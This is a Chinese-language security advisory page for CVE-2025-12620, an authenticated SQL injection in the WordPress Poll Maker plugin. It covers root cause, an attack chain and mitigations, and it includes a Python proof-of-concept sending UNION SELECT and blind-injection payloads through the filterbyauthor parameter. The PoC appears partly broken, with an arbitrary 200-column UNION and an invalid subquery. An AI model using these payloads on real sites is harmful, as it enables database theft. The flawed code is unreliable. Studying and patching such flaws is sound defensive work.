IPBUF安全漏洞报告
English
CVE-2025-12620 CVSS 4.9 中危

CVE-2025-12620 WordPress Poll Maker插件SQL注入漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-12620
漏洞类型
SQL注入
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Poll Maker WordPress Plugin (WordPress插件)

相关标签

SQL注入WordPress插件漏洞Poll MakerCVE-2025-12620认证用户攻击数据库注入WordPress安全Web应用安全

漏洞概述

CVE-2025-12620是WordPress Poll Maker插件中的一个高危SQL注入漏洞。该插件是一款流行的投票创建工具,支持对决投票、匿名投票和图片投票等功能。漏洞存在于所有版本直至6.0.7,由于在处理用户提供的filterbyauthor参数时未进行充分的转义处理,且对现有SQL查询缺乏足够的预编译准备,导致存在SQL注入风险。攻击者可通过利用此漏洞,在已存在的SQL查询中追加额外的SQL语句,从而实现对数据库敏感信息的提取。由于该漏洞需要管理员级别或更高权限才能利用,因此主要威胁目标为具有WordPress后台管理权限的账户。攻击者可能通过获取的管理员权限构造恶意请求,进而获取数据库中的用户密码哈希、配置信息或其他敏感数据。此漏洞已被Wordfence安全团队发现并披露,插件开发者已发布6.0.8版本进行修复。建议所有使用该插件的用户立即升级至最新版本以消除安全风险。

技术细节

漏洞根源在于Poll Maker插件的投票列表查询功能中,对filterbyauthor参数处理不当。具体代码位置位于includes/lists/class-poll-maker-polls-list-table.php文件的第2033行和第2053行附近。当管理员在WordPress后台使用投票过滤功能时,filterbyauthor参数的值会被直接拼接到SQL查询语句中,而未经过addslashes或Prepared Statements等安全函数的处理。攻击者可通过构造特殊的filterbyauthor参数值,如注入UNION SELECT子句或布尔盲注payload,来实现数据提取。在CVSS 3.1评分体系中,该漏洞的向量为AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N,其中C:H表示对机密性造成高影响。由于需要PR:H(高权限)认证要求,攻击门槛相对较高,但一旦成功可导致数据库敏感信息泄露。修复方案是在SQL查询中使用WPDB的prepare()方法对用户输入进行预处理,确保所有变量都被正确转义。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点管理员或更高权限的账户凭据
STEP 2
步骤2
攻击者登录WordPress后台,访问Poll Maker插件的投票列表管理页面
STEP 3
步骤3
攻击者构造恶意的filterbyauthor参数,包含SQL注入payload(如UNION SELECT或布尔盲注语句)
STEP 4
步骤4
服务器端未对filterbyauthor参数进行充分转义或使用Prepared Statements,直接将该参数拼接到SQL查询中
STEP 5
步骤5
恶意SQL语句被执行,攻击者可通过UNION查询获取数据库中的敏感信息,或通过盲注逐字符提取数据
STEP 6
步骤6
攻击者获取WordPress数据库中的用户凭据哈希、站点配置信息或其他敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12620 PoC - SQL Injection in Poll Maker WordPress Plugin # Requires Administrator-level access import requests import sys from urllib.parse import quote TARGET_URL = "http://target-wordpress-site.com" COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_user": "your_admin_session_cookie" } def exploit_sql_injection(): """ SQL Injection via filterbyauthor parameter in Poll Maker <= 6.0.7 This PoC demonstrates extracting the WordPress database prefix and user count """ # Target endpoint: WordPress admin admin.php with poll-maker poll list endpoint = f"{TARGET_URL}/wp-admin/admin.php" # Malicious payload to extract database user() and version() # Original query is appended with our injection injection_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,user(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,101---" params = { "page": "poll-maker-polls", "filterbyauthor": injection_payload } try: response = requests.get(endpoint, params=params, cookies=COOKIES, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Check response for injected SQL results") print(f"[*] Target URL: {response.url}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def blind_sql_injection(): """ Boolean-based blind SQL injection for data extraction """ # Example: Extract WordPress table prefix target = f"{TARGET_URL}/wp-admin/admin.php" for i in range(1, 20): for ascii_val in range(32, 127): char = chr(ascii_val) payload = f"1' AND ASCII(SUBSTRING((SELECT wpdb.table_name FROM wpdb LIMIT 1),{i},1))={ascii_val}---" params = {"page": "poll-maker-polls", "filterbyauthor": payload} try: resp = requests.get(target, params=params, cookies=COOKIES, timeout=10) # Based on response timing or content differences if resp.status_code == 200 and "expected_result" in resp.text: print(f"Found character {i}: {char}") break except: pass if __name__ == "__main__": print("CVE-2025-12620 SQL Injection PoC") print("Target: WordPress Poll Maker Plugin <= 6.0.7") exploit_sql_injection()

影响范围

Poll Maker WordPress Plugin < 6.0.8

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制WordPress后台管理员账户的创建,确保只有必要人员拥有管理权限;2) 使用WordPress安全插件(如Wordfence)增强安全防护;3) 暂时禁用或替换Poll Maker插件,使用其他投票插件替代;4) 加强服务器访问日志监控,及时发现异常SQL查询行为;5) 对WordPress数据库账户权限进行限制,移除不必要的数据库操作权限;6) 考虑使用云WAF服务提供额外的安全层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表